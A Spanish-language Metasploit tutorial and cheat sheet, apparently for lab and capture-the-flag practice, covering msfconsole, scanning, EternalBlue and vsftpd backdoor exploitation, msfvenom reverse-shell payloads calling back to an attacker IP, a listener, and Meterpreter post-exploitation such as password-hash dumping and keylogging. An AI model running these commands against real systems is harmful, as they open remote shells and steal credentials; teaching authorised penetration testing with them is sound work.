Metasploit es el framework de pentesting más utilizado del mundo. Integra en una sola consola todo lo que necesitas para explotar vulnerabilidades: búsqueda de exploits, configuración de payloads, ejecución del ataque y post-explotación. Si ya sabes encontrar vulnerabilidades con Nmap o identificar servicios desactualizados, Metasploit es el siguiente paso lógico.
Arquitectura: módulos y su función
Metasploit organiza todo en módulos especializados. Entender qué hace cada uno es la base para usarlo bien.
| Módulo | Función |
|---|---|
| Exploit | Código que aprovecha una vulnerabilidad específica para ganar acceso |
| Payload | Código que se ejecuta en el objetivo tras el exploit (reverse shell, Meterpreter…) |
| Auxiliary | Escáneres, fuzzers y herramientas de recon. No explotan, pero informan |
| Post | Módulos de post-explotación: robo de credenciales, enumeración profunda |
| Encoder | Cifra el payload para intentar evadir AV |
| NOP | Instrucciones vacías para alinear memoria en buffer overflows |
Iniciar msfconsole
Metasploit usa PostgreSQL para almacenar resultados, hosts y credenciales entre sesiones. Conviene inicializar la base de datos antes del primer uso:
# Inicializar la base de datos (solo la primera vez)
msfdb init
# Lanzar la consola
msfconsole
# Lanzar sin banner (modo silencioso)
msfconsole -qUna vez dentro verás el prompt msf6 >. Todo se gestiona desde aquí.
Comandos esenciales de msfconsole
| Comando | Descripción | Ejemplo |
|---|---|---|
search | Busca módulos por nombre, CVE o tipo | search eternalblue |
use | Selecciona un módulo | use exploit/windows/smb/ms17_010_eternalblue |
show options | Muestra los parámetros del módulo actual | show options |
set | Asigna un valor a una opción | set RHOSTS 10.10.10.5 |
setg | Asigna un valor global (persiste al cambiar de módulo) | setg RHOSTS 10.10.10.5 |
unset | Elimina el valor de una opción | unset RHOSTS |
info | Muestra documentación detallada del módulo | info |
check | Verifica si el objetivo es vulnerable sin lanzar el ataque | check |
run / exploit | Ejecuta el módulo | run -j (en background) |
back | Desselecciona el módulo actual | back |
Escaneo desde msfconsole
Antes de explotar necesitas identificar servicios y versiones. Puedes lanzar Nmap directamente desde la consola y guardar los resultados en la base de datos:
msf6 > db_nmap -sV -p- 10.10.10.5Los resultados quedan almacenados. Para consultarlos después:
msf6 > hosts # Hosts descubiertos
msf6 > services # Servicios y versiones
msf6 > vulns # Vulnerabilidades detectadas (si usaste escáneres)Para escanear con módulos auxiliares nativos de Metasploit:
search type:auxiliary scanner smb
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.10.10.5
run
# Si responde "Host is likely VULNERABLE" → proceder a explotarloFlujo de explotación completo
Este es el workflow estándar de un ataque con Metasploit:
1. db_nmap -sV -p- <IP> → Identificar servicios y versiones
2. search <nombre_vuln> → Encontrar el exploit
3. use <ruta_del_módulo> → Seleccionar
4. show options → Ver parámetros requeridos
5. set RHOSTS <IP_objetivo> → Configurar destino
6. set LHOST <tu_IP_tun0> → Configurar tu IP (para reverse shells)
7. check → Verificar vulnerabilidad (si el módulo lo soporta)
8. run → EjecutarEjemplo real con vsftpd 2.3.4 (backdoor conocida):
msf6 > search vsftpd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(...) > set RHOSTS 10.10.10.5
msf6 exploit(...) > run
# → [*] Command shell session 1 openedPayloads: Staged vs Non-Staged
La nomenclatura del payload dice mucho sobre cómo funciona:
| Tipo | Nomenclatura | Cómo funciona |
|---|---|---|
| Non-staged (Single) | shell_reverse_tcp (guion bajo) | Se envía todo el código de una vez. Más estable, más grande |
| Staged | shell/reverse_tcp (barra) | Primero envía un stager pequeño que descarga el resto. Útil cuando el espacio es limitado |
Para ver los payloads compatibles con el módulo actual:
show payloads
set payload windows/meterpreter/reverse_tcpmsfvenom: genera payloads personalizados
msfvenom es una herramienta independiente (fuera de msfconsole) para generar archivos maliciosos: ejecutables, shellcodes, scripts web…
msfvenom -p [PAYLOAD] [OPCIONES] -f [FORMATO] -o [SALIDA]Ejemplos por plataforma:
# Linux reverse shell (ELF)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.9.1.5 LPORT=4444 -f elf -o shell.elf
# Windows reverse shell (EXE)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.1.5 LPORT=4444 -f exe -o shell.exe
# PHP reverse shell (servidor web)
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.9.1.5 LPORT=4444 -f raw > shell.php
# Python reverse shell
msfvenom -p cmd/unix/reverse_python LHOST=10.9.1.5 LPORT=4444 -f raw > shell.pyRecibir la conexión con multi/handler
Cada payload generado con msfvenom necesita un listener que espere la conexión entrante:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.9.1.5
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run
# → Esperando conexión...Cuando la víctima ejecute el payload, obtendrás la sesión automáticamente.
Meterpreter: post-explotación
Meterpreter es el payload más potente de Metasploit. Opera completamente en memoria (sin escribir al disco), cifra las comunicaciones y ofrece un arsenal de comandos para moverse por el sistema comprometido.
Comandos de sistema
| Comando | Descripción |
|---|---|
sysinfo | SO, arquitectura y nombre del equipo |
getuid | Usuario actual (¿SYSTEM o usuario local?) |
getpid | ID del proceso donde vive Meterpreter |
ps | Lista todos los procesos en ejecución |
migrate [PID] | Mueve la sesión a otro proceso (estabilidad y persistencia) |
shell | Cae a CMD/Bash nativo. exit para volver |
Comandos de archivos
| Comando | Descripción |
|---|---|
ls, cd, pwd | Navegación por el sistema de archivos remoto |
upload [local] [remoto] | Sube un archivo al objetivo |
download [remoto] [local] | Descarga un archivo del objetivo |
search -f [patrón] | Busca archivos (ej. search -f flag*.txt) |
Post-explotación avanzada
hashdump # Vuelca hashes de contraseñas (requiere SYSTEM/Admin)
screenshot # Captura de pantalla del escritorio remoto
keyscan_start # Inicia keylogger
keyscan_dump # Vuelca las pulsaciones capturadasPara poner la sesión en background y usar módulos post:
meterpreter > bg # Pone la sesión en background (aparece como sesión 1)
msf6 > use post/windows/gather/enum_applications
msf6 post(...) > set SESSION 1
msf6 post(...) > runWorkspaces: organiza tus engagements
Cuando trabajas con varios objetivos, los workspaces evitan mezclar datos:
workspace -a cliente1 # Crear workspace
workspace cliente1 # Cambiar a él
workspace # Listar todosCheatsheet rápida
# Iniciar
msfdb init && msfconsole -q
# Escanear y guardar en DB
db_nmap -sV -p- <IP>
# Buscar y usar exploit
search <nombre>
use <ruta>
show options
set RHOSTS <IP_victima>
set LHOST <tu_IP_tun0>
run
# Generar payload con msfvenom
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<TU_IP> LPORT=4444 -f exe -o shell.exe
# Listener para recibir conexión
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <TU_IP> && set LPORT 4444
run
# Meterpreter esencial
sysinfo | getuid | ps | migrate <PID>
hashdump | screenshot | shell
bg → volver a msfconsole con la sesión activa